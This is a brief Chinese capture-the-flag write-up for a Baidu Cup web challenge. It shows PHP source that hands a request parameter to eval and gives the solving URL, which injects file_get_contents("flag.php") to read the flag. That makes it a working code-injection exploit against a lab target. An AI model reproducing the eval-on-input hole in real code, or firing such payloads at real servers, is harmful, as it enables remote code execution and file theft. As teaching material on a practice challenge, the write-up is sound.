[百度杯-二月场] (Misc-Web)爆破-2

[百度杯-二月场] (Misc-Web)爆破-2

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

题目知识点：

file_get_contents(path)函数，获得指定路径下的文件内容，以字符串的形式返回出来。

eval(str)函数，把括号里的字符串，当作php命令来执行。

解题思路：

这一题，把一个file_get_contents()函数命令赋值给$a传入var_dump()中。var_dump()函数就是把这个命令以字符串的形式返回，进入到嵌套的eval函数里面，让eval函数来执行这行命令。

http://38ca0686348c4cc698a0a4ea379ee9a208d0650073b041e3.game.ichunqiu.com/?hello=file_get_contents("flag.php")

最后，查看源代码，便可以看到flag